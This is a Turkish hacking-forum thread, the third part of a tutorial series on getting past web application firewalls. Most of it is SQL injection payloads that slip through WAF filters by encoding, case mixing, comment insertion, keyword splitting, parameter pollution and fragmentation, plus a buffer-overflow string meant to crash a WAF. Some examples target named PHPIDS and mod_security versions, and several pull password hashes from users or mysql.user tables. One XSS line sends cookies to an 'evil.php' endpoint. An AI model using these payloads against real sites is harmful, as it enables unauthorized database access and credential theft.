Neler yeni

Web Application Firewall(WAF)’ları Bypasslamak -3 (1 Viewer)

Z3DX 

Forum Efsanesi
onursal
pentester
Mesajlar
381
Credits
40
Web Application Firewall(WAF)’ları Bypasslamak -3

1608130810802.png

Öncelikle merhaba arkadaşlar WAF Bypass serimizin 3 yazısıyla karşınızdayım. Uzatmadan hemen devam ediyorum. İlk konumuz SQL İnjection ile WAF bypasslamak.

SQL injection ile WAF bypasslamak
‘ uni<on sel<ect password from mySQL.user limit 1 /*

Daha öncede gördüğümüz gibi waf filtresi mevcut. Ancak waf tarafından engellenen bir karakteri tanımlarsak onu avantaj olarak kullanabiliriz.

Mysql veritabanlarında char()’ın işlevi ingilizce karakter değişkenlerini değiştirmek için kullanılır. Örneğin DVWA’dan yararlanara kullanabileceğimiz bir örneği ele alalım.

‘ UNION select table_schema,table_name FROM information_Schema.tables where table_schema = “dvwa” -

Karakter kodlamalı olan bu metin şöyle encode edilir;
‘ UNION select table_schema,table_name FROM information_Schema.tables where table_schema =char(100,118,119,97) -

Bunlarda gördüğünüz gibi ‘dvwa’yı içinde ASCII kodlarını kullanan MySql, char() işlevi olan char(100,112,119,97) ile değiştirdik ve birçok kez filtrelenen veriyi tırnak kullanmadan veritabanına enjekte ettik. Waf’lar char() ile aynı zamanda hemen hemen tüm diğer veritabanlarında olduğu gibi çalışır durumda. Ancak bazen bir seferde yanlızca karakterler tutulabilir, Örnek olarak char(0x##)+char(0x##)+… yani tek yol bizim için işe yaramazsa başkalarını denemek.

Neler yaptık : dvwa örneği üzerinden ‘dwva’ yazısını encode ettik çünkü tırnak işareti yasaklı karakterdi. Böylece ilk bypass’ımızı gerçekleştirdik.

Parçalanmış karakter şifrelemesi
Bu tür şifrelemeler istediğimiz gibi bir dizi isteği bir dizi parça veya parçalar halinde göndermekten ibaret. Bu yol, kötü amaçlı yani “bad request” leri birçok HTTP requesti üzerinden bölmemize yardımcı olur. Ve böylece WAF kötü amaçlı isteği engelleyemez. Bu, Content-Length header’ı yerine Transfer-Encoding yani şifrelenmiş transfer olarak HTTP başlığı kullanarak yapılabilir. Transfer başlığı bir HTTP isteğinde şu resimdeki gibi kullanılır;

1608130915454.png

(Bunu uygulamalı olarak gösterebileceğim ortam olmadığı için örnek bırakamadım)

Anahtar Kelime Değiştirme
Çoğu zaman anahter kelime yani keyler engellendiğine dair örnekler Sorgudan geçtikten sonra filtrelenme aşamasına gelir ve ardından da ortadaki key sözcüğü silecek şekilde baştan ve sondan gelen verileri birleştirir. Ve sunucuda yeni yürütülecek bir key oluşturur. Katman mantığı ile çalışırlar. İzahı zor bir konudur. Ancak elimden geldiğince anlaşılır şekilde anlatacağım. Sql örneğimiz üzerinden devam edelim.

‘ union selselectect password from mySQL.user limit 1 /*

Şu anda WAF in select anahtar kelimesini engellediğine dair örnek bir sorgu inceliyoruz. Sorgu isteği kabul edilip, ardından filtrelendikten sonra ortadaki select keywords ü silinecek ve yeni bir select keywords oluşturacaktır.

Dizelerde birleştirme ile SQL anahtar kelimeyi bölebilir ve WAF filtre kurallarını atlayabiliriz. Birleştirme sözdizimi, veritabanı motoruna göre değişebilir. Örneğin bir MsSQL veritanabanında 1'i seç komutu birleştirme kullanılarak değişebilir.

Yazdığım örneklerdeki gibi, WAF’ları atlamanın etkili yollarından biridir.

Çoğu zaman WAF ların kullandığı filtrelerin büyük / küçük harflere duyarlı anahtar sözcükleri varsa, WAF filtreleri, sağlanan bir sorgudan kötü amaçlı bir anahtar kelimeyi filtreleyemez. Örnek olarak veritananına select büyük ve küçük harfleri engelleyebiliyorsa, ancak yanlızca bu kontrolleri yapıyorsa SeLeCt gibi bir şeyin sağlanmasını engellenmeyecek ve WAF’ı bypass edecektir. Bu XSS saldırıları içinde geçerlidir, ve şu şekilde kullanılabilir.

var adr = ‘../evil.php?cakemonster=’ + escape(document.cookie);

Bu bölümün başında da söylediğim gibi, kodumuz hedefine ulaşasaya kadar var olabilecel birçok katman vardır. Şimdiye kadar, dizeleri kodlamanın tek yollarını inceledik. Ancak zincir şeklinde birçok WAF ve birçok kod yazmamız gerekecek.

Şimdi ise web sunucusundaki URL kodunun çözdüğü, ancak WAF ların ayrıca güvenlik amacıyla URL kod encode ettii bir senaryoyu ele alalım. Bu seferki SQL örneğimiz şu kod;

%2527%2520union%2520select%2520password%2520from%2520mySQL.user%2520limit%25201%2520%25 2F*

Bu dize kodunda URL encode örneğimizdeki ile aynı ancak aynı şekilde bir kez daha kodlanmıştır. Bu durumda waf bu dizenin kodunu çözdüğünde hala kodlandığı ve kötü amaçlı kodu bulamadığı için onu engelleyemez. Web sunucusu aşamasında, dize tekrar çözülecek ve doğru şekilde çalışacaktır. Kısaca Bypass kodumuz işlevini yerine getirecektir.

WAF’ı SQL İnjection ile Atlama
Şimdiye kadar, örneklerimizin çoğu WAF Bypassing için SQL sorguları kullanıyordu. Bunun nedeni, WAF atlamada kullanılan en yaygın saldırının SQL Enjeksiyonu olmasıdır. Ama SQL’in kendisiyle başlayalım. SQL (Yapılandırılmış Sorgu Dili’nin kısaltması), veritabanlarının tasarımında ve yönetiminde kullanılan bir sorgu dilidir. Bugün kullanılan ürünlerin çoğu, SQL Server, MySQL ve diğerleri gibi ilişkisel veritabanlarıdır. Veritabanları, satırları ve sütunları olan tablo benzeri bir yapıda depolanan verilere sahiptir.

Bu seride birçok kez görmüş olabileceğiniz sorgular, select deyiminin kullanılmasıyla, istemcinin çağrısında veritabanından veri alan dizelerdir. Select dışında, çoğunlukla SQL Injection’da kullanılan diğer bazı ifadeler vardır ve bunlar şunlardır:

* INSERT İfadesi: INSERT deyimi, bir tablo içinde yeni bir veri satırı oluşturmak için kullanılır. Genellikle bir uygulama bir denetim günlüğüne yeni bir giriş eklediğinde, yeni bir kullanıcı hesabı oluşturduğunda veya yeni bir sipariş oluşturduğunda kullanılır.

* UPDATE İfadesi: UPDATE deyimi, bir tablodaki bir veya daha fazla veri satırını değiştirmek için kullanılır. Genellikle bir kullanıcının veritabanında zaten var olan verilerin değerini değiştirdiği işlevlerde kullanılır.

* DELETE İfadesi: DELETE deyimi, bir veritabanı tablosundaki bir veya daha fazla veri satırını silmek için kullanılır.

SQL enjeksiyon saldırılarında yaygın olarak kullanılan bir ortak özellik daha vardır: UNION operatörü. İki veya daha fazla SELECT ifadesinin sonuçlarını tek bir sonuçta birleştirmek için kullanılır. Dolayısıyla, bir istemci uygulaması sunucudan bazı verileri almak için bir sorgu yaptığında, UNION operatörü başka bir SELECT ifadesi eklemek ve veritabanında her iki seçme ifadesinin yürütülmesini sağlamak için kullanılabilir. Örneğin şu sorguyu ele alalım:

SELECT * FROM users WHERE fname=’Tom’

Burada sorgu, fname alanı Tom’a eşit olan tablo kullanıcılarından tüm kayıtları döndürmek için çağrılır. (* Karakteri SQL’de bir joker karakterdir ve bir tablodaki tüm sütunları seçer) Şimdi, bu sorguda UNION operatörünün kullanımı oldukça basittir:

SELECT * FROM users WHERE fname=’Tom’ UNION SELECT password FROM users -’

Burada sorgu, daha önce yaptığı her şeyi yapar ve sonuçlara kullanıcılar tablosundaki parolalar satırının kayıtlarını ekler. Dolayısıyla, bu UNION işlecini, veritabanına zaten bir sorgu sağlayan savunmasız bir web uygulamasında tedarik ederek, bu “denkleme” seçtiğimiz sorguyu ekleyeceğini anlayabilirsiniz. Şimdi SQL Enjeksiyonunun tam olarak ne olduğunu ve bunu WAF Bypassing’de nasıl kullanabileceğimizi görelim.

SQL Enjeksiyonu, saldırganın veri çıkarma amacıyla veritabanına kötü amaçlı hazırlanmış bir sorgu sağladığı bir kod enjeksiyon saldırısıdır. Eskilerden biri olmasına rağmen, gerçekten yaygın bir güvenlik açığıdır. Bu güvenlik açığının nasıl çalıştığını görmek için, bir web sitesinde bir ad verdiğimiz ve ilgili adla ilgili bilgi verdiğimiz bir arama alanı düşünün. Veritabanı aşağıdaki sorguyu yürütür:

SELECT * FROM users WHERE name=’tom’;

Bu veritabanı savunmasızsa ve bir ‘hata verirsek, sorguda aşağıdaki sonuçlara sahip olacağız:

SELECT * FROM users WHERE name=’’’;

Bu durumda örnek bir saldırı şöyle olacaktır:

SELECT * FROM users WHERE name = ‘tom’ OR ‘1’=’1' — ‘;

Burada tom ‘OR’ 1 ‘=’ 1 ‘sağladık-bu her zaman True olarak sonuçlanan mantıksal bir ifadeyle sonuçlandı, çünkü her seferinde 1 = 1 ve or operatörüyle, ikisinden yalnızca birine doğru olması için ihtiyacımız var kullanıcılar tablosundaki her şeyi döndürmek için sorgu. Çift tırnak eklenir, böylece onlardan sonraki her şey yorumlanır ve çalıştırılmaz.

Blind SQL Enjeksiyonu, en yaygın SQL enjeksiyon türüdür ve basit olandan farkı, bu tip enjeksiyonun sonuçlarının saldırgan tarafından görülmemesidir. Sayfa, sonuçları önceki örnekteki gibi göstermeyecek, ancak bunları enjeksiyonumuzdan oluşacak mantıksal ifade sonuçlarına bağlı olarak gösterecektir. Bu, birçok şeyi tek tek test etmek için zamana ihtiyaç duyduğu ve çoğu başarısız istekler olacağı için yararlanılması zor bir güvenlik açığı. İsim arama alanı ile önceki örneği ele alalım. Sızma testinde en yaygın olan böyle bir durumda sorgu tamamen sunucuda gerçekleşir; veritabanının, tablonun veya alanların adlarını veya sorgu dizesini bilmiyoruz. Bu durumda, daha önce sağladığımız basit 1 = 1 bize hiçbir sonuç vermeyecek,

Bu sefer şuna benzer bir şey sağlamamız gerekiyor:

Gördüğünüz gibi, burada her iki Boole ifadesinin de doğru olması, tom’un veritabanındaki bir kayda eşit olması ve 1 = 1'in doğru olması gerekir ki bu her zaman olur. Bu bir sonuç döndürürse, Blind SQL Enjeksiyonuna karşı savunmasız olduğu anlamına gelir ve veritabanına parmak izi vermeye devam edebiliriz.

Nasıl devam edileceğine dair iyi bir örnek lazımsa o da karşımızda;

Tom’ AND substring(@@version, 1, 1)=5

Tırnak işareti bize alt “substring(@@version, 1, 1)=5” bölümüni ve MySQL sürümünün sürüm 5 olup olmadığını kontrol eder ( “= 5” kontrolüyle) ve eğer sürüm 5 çalışıyorsa sayfa yüklenecektir normalde çünkü SQL sorunsuz çalışacaktır. Ve bu blind sql enjeksiyonunun yoludur. Veritabanına, eğer doğruysa, sağladığımız dizenin ilk kısmına karşılık gelen sayfanın yükleneceğine dair sorgular sağlamalıyız.

Bu tür saldırılar, sqlmap gibi otomatik araçlar tarafından birçok kez test edilir, ancak dikkatli olun, çünkü bu tür araçlar gerçekten gürültülüdür ve test ettiğiniz veritabanında çok sayıda gereksiz rapor oluşmasına neden olabilir, kesinlikle istemediğiniz bir şeylerle karşılaşma ihtimaliniz çok yüksektir.

Son olarak, gördüğümüz MySQL parmak izi örneğinden sonra, veritabanına aşağıdaki sorguyu göndererek Oracle tabanlı bir veritabanını bulmanın ve parmak izini almanın benzer bir yolu daha var:

SELECT banner FROM v$version WHERE rownum=1

Bu gibi durumlarda, yalnızca veritabanı yazılımı hakkında bilgi almakla kalmaz, aynı zamanda sürümle ilgili ayrıntılar da döndürülür, bu nedenle belirli bir sürümü kontrol etmenin bir yolu yoktur, ancak sorguda sadece @@ sürümünü sağlayabiliriz. MySQL için. Temel veritabanı güncel değilse, bellek taşmaları gibi yeni saldırı vektörleri araştırılabilir ve uygulanabilir.Ayrıca, WAF filtre kurallarına ulaşan SQL işlevlerini eş anlamlıları ile değiştirerek, güvenlik açığından Blind-SQL Enjeksiyon yöntemiyle yararlanmak da mümkündür. Örneğin:

* substring() -> mid(), substr(), etc * ascii() -> hex(), bin(), etc

Şimdi SQL Injection ile WAF üzerinde filtre kuralı baypasının bazı örneklerini görelim.​
 

Z3DX 

Forum Efsanesi
onursal
pentester
Mesajlar
381
Credits
40
SQL Injection ile WAF Filtrelerini Bypasslamak
Söylediğimiz gibi, filtre kuralları bir WAF’ın güvenliğinin ana yönüdür ve taramak istediğimiz bir sunucunun önünde bir WAF varsa, bunları atlayabilmemiz gerekir. Şimdi diyelim ki ? İd = 1 parametresine sahip http://website.com/?id=1 parametresini test ediyoruz ve temel adımlarımıza göre savunmasız görünüyor. Bize filtre kuralını veren bir sorgu sağlamanın ilk yolu, aşağıdaki gibi basit bir yöntemdir:

/?id=1+union+(select+*+from+users)

Burada kodlama olmadan sorgu normaldir ve WAF onu hemen algılar ve bizi engeller. Şimdi, daha önce gördüğümüz gibi bu kuralları atlamanın birçok yolu var, o halde bazı örnekleri inceleyelim:

/?id=(1)union(select(1),mid(hash,1,32)from(users))

Bu durumda, WAF’lerin çoğu yalnızca az miktarda işlevi filtrelediği için, substring () işlevini olumlu sonuçlar alabilen mid () işleviyle değiştiririz.

/?id=1+union+(select’1',concat(login,hash)from+passwords)

Burada, dizimizi concat () işleviyle birleştiriyoruz, bu WAF’ın tüm sorguyu filtrelediği durumlarda bize yardımcı olabilir. Birleştirerek, sorgumuzun bu tür filtrelerden engellenmeyeceğinden eminiz.

/?id=(1)union(((((((select(*),hex(hash)from(passwords))))))))

Çoğu WAF, yalnızca bir parantez katmanını filtreler, bu nedenle bypass etmenin etkili bir yolu, WAF’ı braketin içinde kötü amaçlı hiçbir şey olmadığını düşünmesi için kandıracak daha fazla katman eklemektir.

Şimdi, endüstride kullanılan WAF’lar için bazı gerçek dünya filtre baypas örneklerini görelim.

PHPIDS — PHP Saldırı Tespit Sistemi
PHPIDS (PHP Intrusion Detection System), açık kaynaklı bir PHP Web Uygulaması Saldırı Tespit Sistemidir. Doğası gereği yaygın olarak bilinmekte ve kullanılmaktadır ve birçok web sunucusunda bulabilirsiniz. PHPIDS, GitHub sayfasında bulabileceğiniz bazı varsayılan filtre kurallarına sahiptir. Şimdi ilk saldırımızı MySQL veritabanı kullanan bir sistemde gerçekleştirelim:

/?id=1+union+select+user,password+from+mysql.user+where+user=1

Bunu sağlayarak, WAF bizi engelliyor, çünkü görebileceğiniz gibi, bir SQL sorgusu sağladığımız oldukça açık. Bu sorguyu şunun gibi değiştirelim:

/?id=1+union+select+user,password+from+mysql.user+limit+0,1

Burada, bir veritabanındaki bir veya daha fazla tablodan kayıtları almak ve bir sınır değerine göre döndürülen kayıt sayısını sınırlamak için kullanılan Where user = 1 değerini limit ifadesiyle değiştirdiğimizi görebilirsiniz. Yani kuralı bilmesek ve sorguyu bu şekilde değiştirsek bile artık kurallardan birini biliyoruz.

Devam ederek, daha önce gördüğümüz gerçekten basit ama güçlü bir sorgu verelim, 1 OR 1 = 1

Burada WAF’ın bizi engellediğini görüyoruz ve oldukça standart ve iyi bilinen kötü niyetli bir sorgu olduğu için normaldir. Ancak baypası da oldukça kolaydır. WAF’ı atlayabilmek ve hedef SQL veritabanına ulaşabilmek için sayıları onaltılık eşdeğerleriyle değiştirmemiz gerekiyor:

Son olarak, kontrol ettiğimiz PHPIDS’in 0.6.1.1 sürümünde, daha önce gördüğümüze benzer bir baypas gerçekleşir ve substring () işlevini mid () işleviyle değiştirirsek, güvenlik duvarını atlayabiliriz. .

Mod_security’nin 2.5.9 sürümünde, baypas edilebilen birçok filtremiz var. Şimdiye kadar tekrar gördüğümüz en yaygın iki tanesi alt dize — orta değişiklik ve 1 = 1 ifadesinin onaltılı kodlaması. Ayrıca ve 1 = 2 ifadesini aşağıdakilerle de değiştirebiliriz:

bu filtreyi doğru şekilde atlayacaktır. Ayrıca, bu WAF, bununla değiştirebileceğimiz drop ifadesini filtreliyor.

SQL Injection ile HPP Exploitleme
Bu makalenin başında HTTP Parametre Kirliliği(Başlık değiştirmek) hakkında konuştuk ve şimdi SQL Enjeksiyon saldırıları hakkında bir fikrimiz olduğuna göre, HPP’den yararlanmak için bunları birleştirelim. Bir HPP saldırısının başarısının, saldırdığımız uygulamanın ortamına bağlı olduğunu söyleyerek başlamalıyız. Şimdi, bu saldırının arkasındaki mantık, bir sorguyu parametreler ekleyerek birçok parçaya ayırabilmemizdir. Örneğin:

http://website.com/?id="queryquery1"&id="queryquery2"

Son hedefte, web sitesinde HPP Güvenlik Açığı varsa, bu sorgu birleştirilecek ve sunucu tarafından yürütülecektir. Bu güvenlik açığı, bir web uygulamasının gerçekleştirdiği SQL istek kodunda şöyle görünecektir:

SQL=”select key from table where id=”+Request.QueryString(“id”)

Ve daha önce gördüğümüz mantık tarafından istismar edilebilir;

/?id=1/**/union/*&id=*/select/*&id=*/tom/*&id=*/from/*&id=*/users

Anladığınız gibi, sorguyu birleştirmek için birçok & id parametresi kullandık ve bu parametreleri son SQL sunucusu hedefinde yorumlamak için SQL açıklamalarını kullandık. Bu teknikle, sadece yürütülecek sorgu sonunda kalır. Dolayısıyla, formun yürüttüğü kodu ve parametrede sağladığımız sorguyu birleştirdiğimizde, tablodan anahtarı seçin

id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersTom

1608131234109.png


HTTP Parametre Bölmek-HPF
HTTP Parametre parçalanması, HPP’ye benzer, ancak aynı parametreyi tekrar tekrar kullanmıyoruz. HPF’de, birden fazla parametresi olan web sayfalarına saldırıyoruz ve enjekte etmeye çalıştığımız SQL sorgusu, mevcut parametrelerin sayısı kadar parçaya bölünüyor. Savunmasız koda bir örnek şunlar olabilir:

Query(“select * from table where a=”.$_GET[‘a’].” and b=”.$_GET[‘b’]);

Query(“select * from table where a=”.$_GET[‘a’].” and b=”.$_GET[‘b’].” limit


Gördüğünüz gibi, bu sayfa a ve b olmak üzere iki parametresi olan bir sorgu üretir ve ikisini de sunucuya gönderir. Aşağıdakileri sağlayarak:

Aşağıdaki tüm sorguları enjekte edildikten sonra yorumluyoruz ve bu istek kimsenin saldırıyı gerçekleştirmesine izin vermiyor, çünkü savunmasız kodda AND operatörüne sahip olduğunu görebiliyoruz, bu yüzden her iki parametreye de ihtiyacı var.

Kodu bu şekilde kullanmak için önceki sorgumuzu şunun gibi değiştirebiliriz:

/?a=1+union/*&b=*/select+1,2

Burada, sorguyu her iki parametrede de ayırdığımızı görebilirsiniz, böylece her iki parametre de mevcut olduğundan kod True olur ve SQL açıklamasını doğru yerlere ekleriz, böylece parametreler sonunda yorumlanır, ve sorgu tek parça halinde birleştirilecektir. İlk savunmasız koddan son sorgu şu şekilde olacaktır:

select * from table where a=1 union/* and b=*/select 1,2

İkiden fazla parametresi olan başka bir örnek şunlar olabilir:

/?a=1+union/*&b=*/select+1,password/*&c=*/from+users-

Aynısı burada da geçerlidir, üç parçalı parçalama için, çünkü üç parametremiz var. Bu durumda son SQL parametresi şöyle olacaktır:

select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users — Bypassing WAFs with SQL Injection Normalization

Önceki örneklerde pek çok kez, gerçekten bahsetmeden normalleşmeden bahsettik. Normalleştirme, WAF’ın WAF’ın da çıkardığı anahtar kelimelerin içine çıkardığı yorumları ve diğer sembolleri ekleme işlemidir, bu nedenle nihai sonuç, veritabanında yürütülmesini istediğimiz istenen sorgumuz olacaktır. Bu gerçekten iyi bir WAF atlama yöntemidir, ancak WAF’ın başarılı olmak için saldırıda kullandığı bazı filtreleri bilmemiz gerekir.

Daha önce gördüğümüz örnekte, WAF’dan (/? A = 1 + union + select + 1,2 /*) filtreleme nedeniyle, kimsenin bir saldırı yapmasına izin vermeyen , aşağıdakileri ekleyebiliriz;

/?a=1/*union*/union/*select*/select+1,2/*

Burada WAF’ta buna karşılık gelen bir güvenlik açığı varsa, bu istek sunucuda başarıyla gerçekleştirilecektir. WAF tarafından işlendikten sonra istek şu hale gelecektir:

?a=1/*uniX on*/union/*sel X ect*/select+1,2/*

Bu örnek, tehlikeli trafiğin WAF tarafından temizlenmesi durumunda işe yarar, tüm talebin veya saldırı kaynağının engellenmesi durumunda değildir. Benzer şekilde, aşağıdaki istek kimsenin bu sorguyu gerçekleştirmesine izin vermez:

/?id=1+union+select+1,2,3/*

Ancak bunu böyle bir şeye değiştirirsek ve WAF normalleştirme tekniklerine karşı savunmasız kalır:

/?id=1+un/**/ion+sel/**/ect+1,2,3-

Bu sorgu tamamen SQL veritabanında yürütülecek ve şuna benzer şekilde görünecektir:

SELECT * from table where id =1 union select 1,2,3-

Bu örnek, gelen verilerin aşırı temizlenmesi (normal ifadenin boş dizeyle değiştirilmesi) durumunda işe yarar. Anlayacağınız gibi, / ** / comment sembolü yerine, WAF’ın kestiği herhangi bir sembol dizisi kullanılabilir (örneğin, #### #, % 00 ), ancak bilmemiz gerekir ve bunu bulabiliriz tabikide WAF’ın filtre kurallarının parmak izini alarak.


 

Ekli dosyalar

  • 1608131301013.png
    1608131301013.png
    97 KB · Görüntüleme: 4

Z3DX 

Forum Efsanesi
onursal
pentester
Mesajlar
381
Credits
40
Buffer Owerflow + SQL İnjection = WAF’ı Bypassla
Bilmeyenler için, “bir bellek taşması veya arabellek taşması, bir programın bir belleğe veri yazarken belleğin sınırını aştığı ve bitişik bellek konumlarının üzerine yazdığı bir anormalliktir.” Özel kodlama geçmişine sahip bazı WAF’larda bulunan bu güvenlik açığından yararlanabiliriz.

1608131804860.png

Örneğin, birçok güvenlik duvarı C veya C ++ ile yazılır, bu da bir arabellek taşmasıyla çökebilir, çünkü programın bazı değişkenleri yalnızca küçük bir bellek miktarı alabilir ve koruma yoksa veya kötü kodlama yoksa onu atlayabiliriz. .

Tekrar bir web sitesi alalım ve aşağıdaki bağlantıyı sağlayalım:

http://www.website.com/?id=-15+and+(select 1)=(Select 0xAA[..(here we add about 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2

Bu yöntemle önce WAF çöker ve ardından SQL sorgusu sunucuya gelir ve çalıştırılır. Ayrıca şunları sağlayarak güvenlik duvarının çöküp çökmediğini test edebiliriz:

http://www.website.com/ id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/% 0A/*nnaa*/+1,2

500 HTTP yanıtı döndürürse, bu WAF’ı arabellek taşması ile kullanabileceğimiz anlamına gelir.

SQL Enjeksiyon Örnekleri ile WAF Bypass
SQL Injection WAF Bypass bölümünü bazı pratik örneklerle kapatalım. Başlangıçta gördüğümüz gibi, baypas etmenin en yaygın yollarından biri kodlamadır. Ancak tüm bir anahtar kelimenin kodlamasını, hatta çift kodlamayı gördük. Bunların hiçbirinin işe yaramadığını görürsek, onu biraz ilerletebilir ve yalnızca bir anahtar kelimenin bir kısmını kodlayabiliriz ve bu, pek çok üreticinin aklında olmayan bir yoldur. Bu nedenle, bu durumda, bazı karakterleri HEX (URL kodlu) eşdeğerleriyle değiştiririz. Örneğin:

http://www.website.com/?id=15 /*!u%6eion*/ /*!se%6cect*/ 1,2

Artık WAF, filtre kurallarında orijinal ve onaltılık kodlanmış anahtar kelimeye sahip olacak, ancak tüm olası değişikliklerin içinde olması gerçekten zordur, bu nedenle her seferinde farklı bir karakter denemek bize altın bileti verebilir. Burada görebileceğiniz gibi, sadece HEX’e kodlanmış bazı karakterlerle birlikte birleşim seçimi sağlıyoruz0.

Daha sonra, birçok WAF, bazı prototipler veya garip işlevler ekleyerek koruma sağlamaya çalışır. Örneğin kesme işareti sembolünü (‘) beyaz boşluklarla değiştiren bir güvenlik duvarını ele alalım. Burada, anahtar kelime bölme bölümünde gördüğümüz gibi, onları ayırmak ve WAF tarafından tanınmamak için, istediğimiz anahtar kelimelerin içine kesme işaretleri ekleyebiliriz.

www.example.com?id=-15+uni'on+sel'ect+1,2

Kesme işareti, genellikle SQL veritabanlarında sorunlara neden olduğu için WAF’ler tarafından genellikle engellenen bir karakterdir. Şimdi, bu örnekte, eğer WAF kesme işaretini filtreler ve kaldırırsa, sonuçta ortaya çıkan sorgu 15 birleşim 1, 2'yi verecektir ve bu, gerçekten sık görülen oldukça kolay bir baypastır. WAF’leri atlamak için kodlamayı akıllıca nasıl kullanabileceğiniz hakkında size fikir verebilecek birkaç örnek aşağıda görülebilir:

/* — */union/* — */select/* — */

REVERSE(noinu)+REVERSE(tceles) /%2A%2A/union/%2A%2A/select/%2A%2A/ union%20distinct%20select %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect


Gördüğünüz gibi, olasılıklar sonsuzdur ve SQL Enjeksiyonuna giderken WAF atlama, yalnızca hayal gücümüzle durur. Yapabileceğimiz pek çok şey var, birleştirebileceğimiz birçok kodlama şeması ve bunların tümü, SQL Enjeksiyonu ve sorgular hakkında derin bilgiye sahip olduğumuzda ve aynı sorgunun birçok varyasyonunu yapabildiğimizde bypasslanır.

Konum bu kadardı okuyan herkese teşekkür ederim. Beğenmeyi unutmayın. Esen kalın :)
 

Bu konuyu görüntüleyen kullanıcılar